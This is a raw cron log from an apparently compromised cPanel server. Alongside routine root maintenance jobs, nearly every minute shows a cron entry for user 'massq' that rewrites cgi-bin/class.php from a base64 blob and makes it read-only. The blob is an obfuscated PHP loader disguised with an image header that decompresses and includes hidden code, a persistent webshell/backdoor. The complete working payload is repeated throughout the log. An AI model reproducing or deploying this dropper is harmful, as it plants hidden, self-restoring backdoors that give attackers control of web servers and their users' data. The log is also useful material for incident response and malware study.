Nov  9 23:38:01 server CROND[30114]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:39:01 server CROND[30994]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:39:01 server CROND[30995]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 23:40:01 server CROND[31705]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:40:01 server CROND[31704]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 23:40:01 server CROND[31706]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 23:40:01 server CROND[31707]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 23:41:01 server CROND[32588]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:42:01 server CROND[853]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 23:42:01 server CROND[854]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:43:01 server CROND[1681]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:44:01 server CROND[2605]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:45:01 server CROND[3428]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 23:45:01 server CROND[3429]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 23:45:01 server CROND[3430]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:46:01 server CROND[4305]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:47:01 server CROND[5124]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:48:01 server CROND[5939]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:49:01 server CROND[6754]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:50:01 server CROND[7741]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 23:50:01 server CROND[7743]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 23:50:01 server CROND[7744]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:50:01 server CROND[7745]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 23:50:01 server CROND[7746]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
